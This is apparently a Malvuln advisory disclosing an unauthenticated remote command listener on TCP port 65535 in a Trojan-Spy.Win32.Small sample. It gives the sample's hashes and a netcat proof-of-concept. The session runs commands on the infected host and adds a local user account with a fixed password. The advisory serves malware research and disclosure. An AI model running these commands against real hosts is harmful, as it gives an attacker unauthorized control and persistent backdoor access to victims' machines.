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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026
Original source:
https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt
Malvuln Intelligence Feed: https://intel.malvuln.com/
Contact: malvuln13 () gmail com
Media: x.com/malvuln

Threat: Trojan-Spy.Win32.Small
Vulnerability: Remote Command Execution
Description: The malware opens a listener on TCP port 65535, allowing
unauthenticated remote attackers with network access to execute
arbitrary operating system commands on the infected host.
Family: Small
Type: PE32
Attack-pattern TTP: Command and Scripting Interpreter (T1059)
MD5: 8c15ec5f0137d097a345b693f0bffedb
SHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b
Vuln ID: MVID-2026-0705
Disclosure: 04/20/2026

Exploit/PoC:
nc64.exe x.x.x.x 65535
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\victim\Desktop>whoami
whoami
desktop-2c3iqho\victim
calc
C:\>net user hubert abc123 /add
net user hubert abc123 /add
The command completed successfully.
exit

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